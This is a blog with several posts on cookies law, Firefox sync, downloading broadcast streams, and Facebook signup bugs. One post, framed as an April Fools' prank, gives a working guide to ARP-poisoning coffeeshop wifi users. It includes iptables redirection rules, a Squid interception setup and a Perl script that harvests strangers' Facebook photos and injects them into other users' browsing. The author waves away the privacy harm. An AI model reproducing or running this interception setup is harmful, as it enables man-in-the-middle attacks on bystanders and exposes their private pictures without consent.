May 10th
2010
Uit de memorie van toelichting wetsvoorstel NRF, pagina 17:
“Voor wat betreft het plaatsen van informatie op de eindapparatuur van de eindgebruiker wordt het bestaande optout regime vervangen door een optin regime. Dat betekent onder meer dat voor het plaatsen van een zogenoemde cookie vooraf toestemming aan de eindgebruiker moet worden gevraagd.”
Dat er een “bestaand” “opt-out regime” is voor cookies, is onzin. Er ís helemaal geen regime. Er is alleen techniek, en die techniek is zodanig dat een webbrowser expliciete actie moet ondernemen om de volgende keer het cookie mee te kunnen sturen. Sja, de meeste browsers doen dat in hun standaardconfiguratie klakkeloos. En in de meeste quiches in de koelvitrine van de supermarkt zit veel te veel zout.
Gelukkig kon ik dit en meer online uitleggen aan Economische Zaken, want er is een internetconsultatie voor dit wetsvoorstel. Dit was mijn uitleg:
Reactie op wetsvoorstel implementatie NRF
Geachte hr/mevr,
Ik ben consument, student Informatica, en weet een ding of drie over hoe http-cookiegerelateerde technieken samenhangen. Staat u mij toe u op de hoogte te brengen van deze zaken, en u zult inzien dat he huidige wetsvoorstel geen hout snijdt.
Hoe een webbrowser cookies dient af te handelen staat beschreven in RFC 2965, sectie 6.1, “User Agent Control”1. Zo’n RFC is vrij technisch (softwareontwikkelaars zijn de doelgroep), maar laat u niet afschrikken: in die RFC staan de meeste mechanismen
beschreven die een consument zou kunnen wensen op het gebied van cookiebeheer, en het staat ontwikkelaars vrij webbrowsers te maken die verder gaan dan deze aanbevelingen. In het bijzonder is er deze aanbeveling:
[...] notify the user when the user agent is about to send a cookie
to the origin server, to offer the option not to begin a session
Een consument die een standaardconforme webbrowser gebruikt, hééft deze optie dus al. Voor de browser Firefox is de documentatie over zulke functionaliteit gewoon online te vinden, op de website van de maker
2, en via het helpmenu.
Het is niet zo dat een webserver een cookie op een webbrowsende computer pláátst; een webserver heeft helemaal geen mogelijkheden daartoe! Wat een webserver doet is vrágen aan de webbrowser of deze zo goed zou willen zijn om bijvoorbeeld bij een volgend contact het woord “hotseflotsie” of het nummer “673” mee te sturen. Of de webbrowser gehoor geeft aan dat verzoek ligt aan hoe deze ontworpen en geconfigureerd is. Welke webbrowser wordt gebruikt en hoe deze geconfigureerd is, zijn keuzes die bij de eindgebruiker – de consument – liggen.
Zo de overheid al moet ingrijpen, dan is het dáár: bij het begrip van de consument. Dat is analoog aan hoe dat op voedinggebied al gebeurt. We weten dat te veel zout slecht is voor de gezondheid. Maar in een kilozak zout uit de supermarkt gaat héél veel zout, en toch is het toegestaan zulks aan te bieden zonder de afnemer te laten expliciteren dat hij of zij bereid is het zout in te gaan nemen! Wat de afnemer met het zout doet is namelijk zijn/haar eigen verantwoordelijkheid.
Het is de taak van de Stichting Voedingscentrum Nederland om de consument te wijzen op de gevaren van teveel zout en zo te voorkomen dat hij of zij het kilopak in één avond helemaal opsnoept.
Cookies zijn een wezenlijk onderdeel van de gebruikerservaring. Het zal u misschien verbazen, maar op de overheidswebsite3 (van de Dienst Publiek en Communicatie) waar ik u deze boodschap achterlaat wordt mijn browser de volgende cookies aangeboden:
- “contrast” met als waarde “hoog”
- “fontsize” met als waarde “2”
- “ASP.NET_SessionId” met als waarde “u5ugib48komzsnzl4wravo45”4
Ik gebruik een degelijke browser en heb deze expliciet verzocht deze cookies op te slaan en mee te sturen met vervolgbezoeken. Er zijn altijd mechanismen geweest waarmee de gebruiker kan ingrijpen in het proces. De vraag die u websitebeheerders aan bezoekers wilt laten stellen, is dezelfde vraag die miljoenen webservers jarenlang en wereldwijd al miljarden keren aan miljoenen browsers hebben gesteld: “beste webbrowser, wil je de volgende keer merkteken zus-en-zo meesturen?”
Dat consumenten hier doorgaans (te) welwillend tegenover staan, of hun browsers configureren hier (te) welwillend tegenover te staan, is niet een probleem dat bij wet of middels méér techniek is op te lossen – het is er één van kennislacune. De consument is meer gebaat bij voorlichting, daarmee wordt hij geholpen in het maken van een geïnformeerde keuze voor een browser die tegemoetkomt aan zijn privacywensen.
Samenvattend, ten andermale, en hopelijk ten overvloede: een webserver kan via cookies geen informatie opvragen die deze webserver niet al eerder zélf aan de browser heeft gegeven. Ook kan een webserver geen cookies op een bezoekende computer opslaan, dat kan alleen de webbrowser doen, en die wordt nog altijd bestuurd door de gebruiker. Wat een supermarktbezoekende klant met een zak zout doet, is niet de zaak van een supermarktexploitant. Wat een websitebezoeker met een aangeboden cookie doet, is noch een zaak van de website-exploitant, noch een zaak van de overheid.
Hoogachtend, Wicher Minnaard.
1) http://www.faqs.org/rfcs/rfc2965.html
2) http://support.mozilla.com/en-US/kb/Cookies
3) http://www.internetconsultatie.nl/nrfimplementatie/reageren
4) Deze laatste waarde heb ik om privacyredenen iets anders weergegeven.
Tags: cookies, politiek —
April 16th
2010
It’s not too late for posts about April Fool’s Day pranks I hope?
In the tradition of the Upsidedownternet this April 1st I had some fun with Facebook addicts.
You may not be aware of the fact that any picture on facebook is publicly accessible. Yes, it is. There’s no authentication & authorisation whatsoever. Handling those in a scalable way would ramp up costs. Your privacy is not worth those costs. Contrary to the impression you are trying to deliver through your profile, you are not important. Happy shareholders are important!
Due to this fact I just need to know the URLs of your pictures. From the URL I can determine whether it’s a profile picture, profile picture thumbnail, photo, photo thumbnail, etc.
Wouldn’t it be fun to mix the pictures of the facebook page you are currently viewing with those from facebook pages others are viewing? So when you’re browsing your friend’s albums, you not only see his pictures but pictures from other peoples’ albums too, and vice versa?
The pictures may be requested by the guy across the bar, or by the girl one floor down in the library, or by anyone on the same network as you are — all of you are browsing together with the people in your physical vicinity, sharing whatever pictures you encounter! It’s beyond Facebook. It’s crowdbrowsing. It’s Megafacebook.
While you may not know these newly inserted friends, you might get to. Maybe you bump into one another at the toilets, or at the counter.
“Why is everyone staring at me like that?” you naively wonder. (They’ve seen those pictures).
“Does she know that I know about those pictures of her and her friends? But wait… what might she know about me?”, your paranoid mind ponders.
It’s all about what you think of others and what others think of you. Total absorption. Now that’s what I call social networking. All hail Facebook Social!

Give the wifi crowd at your local coffeeshop the pleasure of learning a little bit more about eachothers lives and friends.
Get to work
You need:
- one network vulnerable to ARP poison routing (that’s most of them) or one network which you already control anyway. Make everyone route their traffic through your machine.
- one installment of the Nginx web server, configured with
--with-http_random_index_module. I use the 0.8.3x series.
- one installment of the Squid http proxy server. I use the 3.1 series.
- Perl and LWP::Simple.
Set up Nginx
Create some directories to hold the images:
mkdir /var/www/facemix/{albums,photos,photosthumb,smoelen,smoelenthumb}
Tell Nginx to respond to requests for those directories by randomly serving one of the files in them:
location ~ ^/facemix/([^/]+)(/?.*)$ {
alias /var/www/facemix/$1/$2;
random_index on;
expires -1;
}
You need the ‘expires -1′ to avoid caching. If proxies or user agents were to cache the results, they wouldn’t be very random anymore now would they.
Stick some files in there and test your installation.
Set up Squid
Set up squid in interception mode. If you’re not NATting the routed traffic, set it to run on port 80. If Nginx is already listening on that socket, make Nginx listen on some other port, or localhost only, while running squid on port 80 but only on the external interface.
Set up networking
This is for iptables.
- You’re NATting the pwned hosts. Run something along the lines of
iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 80 -j REDIRECT --to-port 8080
to redirect all traffic incoming on $INTERFACE and destined for port 80 to port 8080, which is where you need squid to listen on.
- You’re doing 2-way ARP poisoning (cheers!). Run something along the lines of
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j DNAT --to-destination $YOURIP
Squid needs to run on port 80 on interface with IP $YOURIP.
Check Squid’s logs to verify that requests are intercepted successfully.
Run the redirection script
I don’t touch Perl very often, and cobbling together this script made me remember why that is. It’s very usable as a means of frightening little kids.
In a nutshell, what my redirector script does is
- determine whether the URL fed to it by Squid is a facebook picture url;
- if so, and if we don’t have that picture yet, fork off to download it;
- point Squid to a random picture of the same type (served by Nginx).
I like the forking. I dislike the iffed regexes which could probably be condensed into one but then it wouldn’t be ‘cobbling together’ anymore.
Adjust the variables for your setup and tell Squid about the script (eg url_rewrite_program /usr/local/lib/facemix-squidredir.pl).
The Facebook logo will change to reflect the fact that the users are now browsing facebook in Social! mode.
One further note: This is privacy-invasive. I brush away my moral doubts by stating that anyone who signed away their privacy rights when joining facebook AND AT THE SAME TIME entertains any expectations with respect to privacy,
« inhale »
… is utterly mental and has completely lost any and all sense of proportionality. If you care about privacy, why use a service which lets you view any picture of any user regardless of who you are? Who are you kidding?
If you’re still reading, here’s the script:
#!/usr/bin/perl -w
use LWP::Simple;
$WEBROOT = 'http://localhost/facemix/';
$WEBDIR = '/var/www/facemix/';
$CHANCE = 5; #One in X requests gets mixed
$SIG{CHLD} = 'IGNORE';
$|=1;
while (<>) {
local @reqfrags = split(/ /, $_);
local $url = @reqfrags[0];
if ($url =~ /(^http:\/\/.*.fbcdn.net\/rsrc.php\/z7VU4\/hash\/66ad7upf.png$)/) {
print "http://smormedia.gavagai.nl/2010/04/FacebookSocial2.png\n";
}
elsif (($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_n.jpg$)/) || ($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/n.*.jpg$)/)) {
&mixurl('photos/',$url);
}
elsif (($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_s.jpg$)/) || ($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/s.*.jpg$)/)) {
&mixurl('photosthumb/',$url);
}
elsif (($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/.*_n.jpg$)/) || ($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/n.*.jpg$)/)) {
&mixurl('smoelen/',$url);
}
elsif (($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/.*_q.jpg$)/) || ($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/q.*.jpg$)/)) {
&mixurl('smoelenthumb/',$url);
}
elsif (($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_a.jpg$)/) || ($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/a.*.jpg$)/)) {
&mixurl('albums/',$url);
}
else
{
print $url."\n";
}
}
sub mixurl {
#args: subdir, url
local $vork = fork();
if ($vork == 0) {&getit($_[0], $_[1]);}
if (int(rand($CHANCE)) == 0) {
print $WEBROOT.$_[0]."\n";
}
else {
print $_[1]."\n";
}
}
sub getit {
#args: subdir, url
local $storedir = $WEBDIR.$_[0];
local @urlfrags = split(/\//, $_[1]);
local $fname = pop(@urlfrags);
if (!stat($storedir.$fname)) {
getstore($_[1],$storedir.'._tmp-'.$fname);
rename($storedir.'._tmp-'.$fname, $storedir.$fname);
}
exit;
}
Tags: aprilfools, en_GB, facebook, security, squid, upsidedownternet, url_rewrite_program —

Posted by
Wicher
Topic:
WWW
October 18th
2009
Firefox’s password store is something you’d like to share between computers, isn’t it? Save some site’s password on your laptop and have it become available on your desktop, or in your profile on a friend’s machine (don’t forget to set a master password!) . Same with bookmarks. Even if you’re not sharing, it’s nice to have a backup.
There are some issues that need to be resolved if you want to be able to do this:
- You need central storage — storage reachable anytime, from anywhere.
- You need intelligent synchronisation software.
Fits right into the cloud meme. Now, who do you trust to store your highly sensitive data? I’d trust no one, really, unless the data is completely useless to them and I have the opportunity to run the ’server side’ of the synchronisation software myself.
And that’s exactly how Weave, Mozilla Lab’s extension for Firefox functions. Your data is being encrypted, not just on the transport level, but more importantly: on the data level and it’s happening on your side of the link. Data is stored on Mozilla’s servers but to anyone but me — the one with the decryption key — it’s just gibberish. If anyone cracks these sync servers my passwords and bookmarks are still safe.
A side effect of the data being useless to anyone but me is that the data itself cannot be ‘monetized’. It cannot be mined. My collection of applepie recipe bookmarks cannot be sold to PieMogul®, Inc.
Equally, a search warrant to get the sync server operator to hand over all account info on users who bookmarked a certain bomb (or pie) recipe site is useless.
I do not have to go through or monitor a ‘Terms of Service’ to establish the fact that my data is safe. It just is, and it is a function of the technical mechanism, not one of competence, contract enforcement and relying on the justice-apparatus-du-jour. No amount of legal wording can change that fact. Paranoia? No! This is sidestepping paranoia. Take the encryption route and the very notion of paranoia becomes null and void — you simply don’t have to care.
Another interesting property is the possibility of running your own sync server because all software involved is free and open source. If for some reason Mozilla would fall into disfavour with me, or the other way around, I can just pack up and simply leave without losing my precious syncing functionality. That’s pretty much in compliance with the autonomo.us Franklin Street Statement — good stuff, check it out.
So what’s the catch? Nothing, for now. And I don’t expect there will be one in the future because of the inherent and self-evident guarantees described above.
Get this Firefox (3.5+) extension now, walk out on the street, and give three cheers to the great (nonprofit!) Mozilla Foundation.
Further reading:
Tags: bookmarks, cloud, encryption, en_GB, privacy, weave —
April 24th
2009
[Update: Het NOS-journaal heeft vodcasts, vrij te downloaden in h.264-formaat. Hoera! Hoe zouden ze dat met rechten geregeld hebben? Hoe dan ook, de algemene principes die hieronder worden uiteengezet zijn helaas nog wel geldig voor de content van de omroepen op bijvoorbeeld uitzendinggemist.nl - waarvoor hier een GreaseMonkey-script dat dumpen van de stream vereenvoudigt.]
Vandaag gaan we illegale software gebruiken om het NOS-journaal te kunnen downloaden. Wat we gaan doen is niet illegaal, maar het gekke is dat de software die we nodig hebben om iets legaals te doen, illegaal is! Dat is raar, heeft met de aard van het internet te maken, dus dat verdient een blogpost.
Eerst wat uitleg over hoe de wereld in elkaar zit. Daarna gaan we aan de slag. Ongeduldig, en niet geïnteresseerd in de wereld? Scrollen!
Fair use
Scenario: Je wilt het journaal kijken.
- maar niet nu, nee, straks in de bus
- of ergens anders waar geen internetverbinding is
- of je wilt er in kunnen spoelen zonder problemen
- of je wilt de aflevering archiveren
- of delen knippen & plakken naar zelfgemaakt videomateriaal (”remixen”)
- of je wilt niet helemaal die NOS-site navigeren, maar gewoon met één druk op de knop klaar zijn…
Downloaden dus. En dat wordt je zo moeilijk mogelijk gemaakt, ondanks het feit dat dat journaal van het door jou afgestane belastinggeld wordt gemaakt. Bovendien wordt het beschikbaar gesteld in een formaat waarvoor licenties van Microsoft of Windows-software nodig is — alsof de overheid alleen nog maar Audi’s zou toestaan op de publieke weg.
Raar, toch? Waarom kun je niet gewoon het journaal downloaden en het ergens op je gemak bekijken, of een fragment laten zien in een presentatie [edit: in privésfeer!] of zo? Dat heet ‘fair use’.
Geen fair use voor jou!
Voor de NOS is het probleem met ‘fair use’ dat ze daarvoor het videomateriaal moet aanbieden op een manier waarop ze verdere controle over het materiaal verliezen. Een voorbeeld: Als jij je gedownloade afleveringen in de bus bekijkt, dan is dat ‘fair use’. Maar ga jij een beeldbank beginnen met al het materiaal dat de NOS van een extern mediabedrijf betrekt (zaken als video’s van die aardbeving in Italië laatst), dan heeft de NOS een probleem omdat dit niet hun materiaal is, ze hebben het slechts in licentie. En die licentie voorziet hoogstwaarschijnlijk niet in ongebreidelde herverspreiding – dan zou de bezittende mediabedrijf het gras voor zijn eigen voeten wegmaaien, of hoe noem je dat.
Het punt is dus dat het heel moeilijk wordt dat laatste (copyrightschending) te verhinderen als je downloaden toestaat. Daarom wordt er gestreamd, en streamen gaat doorgaans in een nogal lullige resolutie. Jammer voor ons!
Maar streamen is toch eigenlijk een soort downloaden? Dat klopt. Als je het journaal bekijkt op de manier zoals de NOS het bedoeld heeft (en 99% van de mensen doet dat zo) komt het materiaal inderdaad langs je computer – maar het zit dan “opgesloten” in een mediaplayer die jou niet toestaat om dat wat er aan materiaal langszoeft op te slaan. Dat heet DRM – officieel Digital Rights Management, in de volksmond Digital Restrictions Management – en de mogelijkheid tot het opleggen van restricties is één van de redenen waarom de omroepen niet een open, licentievrij formaat als Ogg Theora gebruiken – een formaat waarvoor iedereen een mediaspeler kan programmeren, voor een desktopbesturingssysteem naar keuze. Want als iedereen zijn eigen mediaspeler kan schrijven, wie garandeert dan dat er beperkingen zullen worden ingebouwd om het opslaan van streams tegen te gaan?
Dus stop het materiaal in een niet-vrij formaat waarvoor een licentie van Microsoft nodig is, een licentie die Microsoft niet geeft aan makers van programma’s die opslaan van streams toestaan, en klaar! Toch?
Het is een handhavingsprobleem dat wordt afgewikkeld op de gebruikers, en wel door deze gebruikers sterk in hun vrijheden te beperken. Het is niet de fout van de NOS dat de wereld op deze manier in elkaar zit. Er is, voor zover ik weet, nog geen oplossing voor dit probleem zonder ingrijpende veranderingen in bedrijfsmodellen.
Ondertussen willen we nog steeds het journaal downloaden en daar fair-use dingen mee doen.
MPlayer to the rescue
Er is een relatief kleine, maar bovengemiddeld technisch onderlegde gemeenschap van gebruikers van en ontwikkelaars voor besturingssystemen uit de Linux/BSD-hoek. Via reverse engineering en ongetwijfeld wat hacks zijn er mediaspelers gemaakt die het ‘geheime’ video- en streamingformaat kunnen lezen, zonder daarvoor een licentie te kopen. Ik weet niet hoe het in Europa zit – wij hebben gelukkig geen softwarepatenten en geen DMCA – maar onder de Amerikaanse patentwetgeving is dat illegaal.
Download dus MPlayer van http://www.mplayerhq.hu, of installeer ‘m via je packagemanager. Gebruik van deze software is niet illegaal. De makers zijn mogelijk niet legaal bezig, maar wij blijven vandaag legaal.
De syntax is ongeveer zo (in een shelletje natuurlijk):
mplayer -dumpstream -user-agent browserid URL
waarbij browserid de browseridentificatiestring is zoals deze in de logs van de webserver van de publieke omroep zal gaan verschijnen, en URL de URL van de stream is.
Voor de browseridentificatie kun je alles invullen wat je maar wilt. Je kunt ‘m “Sjoernaaldownlooier 2.03 Beta” noemen als je wilt. Maar het punt is dat we niet willen opvallen, want we willen dit graag kunnen blijven doen. Een zeer geschikte browseridentificatiestring is daarom
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Dat is die van een niet al te beste browser op een niet al te chique besturingssysteem
[edit: we moeten natuurlijk de UA van de player hebben, niet die van de browser!]
Windows-Media-Player/11.0.6001.7000
Dat is die van een mediaspeler met DRM, maar dat is dus wat de hoi polloi gebruiken.
Vervolgens moeten we MPlayer nog een URL geven. Uitvissen welke dat is is nontriviaal – een simpele ‘view source’ op de afspeelpagina van site van de NOS is niet voldoende omdat het streamobject met javascript geïnjecteerd wordt. Met de Firebug-extensie voor Firefox kun je wel de URL terugvinden, dus als je ook willekeurige afleveringen van uitzendinggemist.nl wilt downloaden kun je die gebruiken. De URL die ik gevonden heb wijst altijd naar het laatste journaal, hartstikke handig:
http://cgi.omroep.nl/cgi-bin/streams?/nos/journaal/laatstejournaalBB.wmv
Dus dan wordt het:
mplayer -dumpstream -user-agent 'Windows-Media-Player/11.0.6001.7000' 'http://cgi.omroep.nl/cgi-bin/streams?/nos/journaal/laatstejournaalBB.wmv'
(maar dan op één regel). Downloaden duurt net zolang als de aflevering zelf, even geduld dus. De output laat geen voortgang zien. Maar als je dit ziet is het goed gegaan:
Everything done. Thank you for downloading a media file containing proprietary and patented technology.
Core dumped ;)
Exiting... (End of file)
Voor de niet-nerds: Dit is humor, en ja, die “;)” is een knipoogsmiley. Hoe dan ook – we hebben nu een bestand ’stream.dump’. Die kun je afspelen met
mplayer stream.dump
Presto!
En verder
Als je echt wilt reltrappen kun je de boel nog met bijvoorbeeld ffmpeg2theora in een vrij en open formaat omzetten en verspreiden via BitTorrent. Dat is niet legaal. Het is ook niet legaal om dit (mbv wat scripts) met alle afleveringen van alles dat op uitzendinggemist.nl te verkrijgen is te doen. Niet legaal, maar wel technisch haalbaar, en zo’n onuitwisbare middelvinger van een terabyte is een statement zonder weerga dat wij het handhavingsprobleem van iemand anders niet op ons bordje willen krijgen, onderwijl vreugde verspreidend onder iedereen die ook in de bus een aflevering van ‘t een of ander wil bekijken.
Klinkt dat als imagine-all-the-people-dromerij? De Noorse publieke omroep stelt zelf programma’s beschikbaar in een open formaat, in hoge resolutie, via BitTorrent, zonder DRM.
Tags: drm, fair use, tv —
April 16th
2009
When person A tells person B to lay off the crackpipe, it’s usually because A doesn’t understand B’s humour. Usually, B is not smoking crack. B is, in fact, displaying what he or she thinks is good sense of humour. Well, whoever implemented the registration process for FaceBook and the associated bug reporting functions has a REALLY GREAT sense of humour.
Prelude
Yesterday I decided to register at Facebook. Yes, I know, this is against some of my principles but I don’t think I’ll be making myself popular by being a total nerd each time – I am not going to ask near-strangers to make a special effort when they want to share $pictures_taken_during_certain_event_with_me_in_it with me. I just want to download the pictures to my own album thankyouverymuch, and I need an account for that.
Registering
Well, the form for registering on the facebook homepage looks simple enough. I usually use my gmail-account when signing up to websites, with my accountname suffixed by +some_tag. This is called “sub-addressing” and it’s mighty convenient. Do you have gmail? Try it! If your email address is myaccount@gmail.com, send a message to myaccount+hey-look-a-sub-address@gmail.com. It will pop up in your inbox. You can then use gmail’s filters on the TO:, use your imagination. If you run your own mailserver, you have even more flexibility in what you can do with sub-addressing.
So I put in myaccount+facebook@gmail.com and hit Sign Up. Facebook responds thusly:
Please enter a valid email address.
Ah right. But IT IS VALID. It’s not the first time I encounter an email address validation function that doesn’t accept valid email addresses. I suppose development of such a validation function goes a bit like this:
DEV#1: “Chief software architect told us to put in an email validation function.”
DEV#2: “Sure! Hmmm, say, what does a valid email address look like anyway?”
DEV#1: “What, do you think there’s a standard on this? Some sort of agreement on what is a valid email address? Ha-ha-ha! Of course not. And I’m a Web Developer® so I’m an expert on email addresses. I’ve seen so many email addresses in my life, I think I’ve seen them all! I’ll just exclude everything that doesn’t look like an email address I’ve ever seen. Presto!”
The standard the devs were looking for is RFC5322. “Do you know what an RFC is” should be the first question on any job interview for a web developer position. Without standards, you’re nowhere on the internet.
File bug report
Being a good geek, I embarked on a quest to point out the existance of RFC5322 to the Facebook folks. On the Help / Sign Up: Bugs and Known Problems page there’s a “I’d like to submit a bug report” link that takes you to a form for submitting signup bugs.
I could not help but try to use my sub-addressed gmail account as a contact address on this bug, but…

How stupid of me. They need a T! I assume they ran out of. By now I’m thinking of chartering a helicopter, flying to Facebook’s headquarters, and dropping really big concrete letter-T’s on them. But then again, they might not see this as humourous. Oh well, on with the show: I use a non-subaddressed account and click Submit.
A couple of hours later I find this gem in my inbox:
From: The Facebook Team <info+du7b7dy@facebook.com>
To: (address removed)
Subject: Re: SIGNUP-BUGS: valid email address is not accepted
Date: Tue, 14 Apr 2009 05:14:20 -0700
Reply-to: The Facebook Team <info+du7b7dy@facebook.com>
Sender: <info+du7b7dy@facebook.com>
X-Mailer: ZuckMail [version 1.00]
Hi,
Please reply to this email to verify that you are the owner of the
account that you referenced in your Facebook support inquiry. This
security step must be completed before Facebook can respond to your
inquiry. We apologize for any inconvenience.
If this email address is not associated with your account, please reply
to this email from an email address that is associated with your Facebook
account, ensuring that this email is in your response (this may require
you to copy and paste this text if your email client removes this email
from your reply).
Look at the Reply-to:, the From: and the Sender:. Is that a subaddressed email address or what? This is getting ridiculous!
More worrisome is them mentioning ‘the account you referenced in your Facebook support enquiry’. At this moment I’m thinking that they might need confirmation of the contact details of the bugreport before looking at it. Of course. Because that’s what it said in the ‘Magical T’ form (see screenshot above). I have to enter an email address, and if I have one that’s associated with a Facebook account I am to use that one. If they would require a facebook account for any bug reports they would do the check before letting me submit any bugs at all, wouldn’t they? But any email address is fine – it says so on the form – AND YOUR FORM IS CALLED “SIGNUP-BUGS”! If I’m filing a bug report because I can’t sign up then, by pure and simple logic , I DO NOT HAVE AN ACCOUNT. Requiring me to create an account so I can contact you about not being able to create an account is INSANE. Anyone not on crack gets this, so I get my hopes up and confirm my email address. It is with great anticipation that I open up the e-mail I get twenty minutes later:
From: The Facebook Team <info+du7b7dy@facebook.com>
Subject: Re: SIGNUP-BUGS: valid email address is not accepted
<snip - ed>
We currently do not have a registration under this email address.
Unfortunately, you will need to go through the sign up process again.
If you experience any further problems or encounter issues logging in,
please visit http://www.facebook.com/help.php?page=746.
Thanks,
The Facebook Team
FACEBOOK PEOPLE SMOKE CRACK
No of course they don’t. They just happen to have a really intricate sense of humour and a really crappy QA process. I tried to help and point these flaws out to them, but for the moment, I’m defeated. And I’m definitely not going to trust Facebook with my data thankyouverymuch.
Tags: crackpipe, email, en_GB, facebook, RFC5322, web development —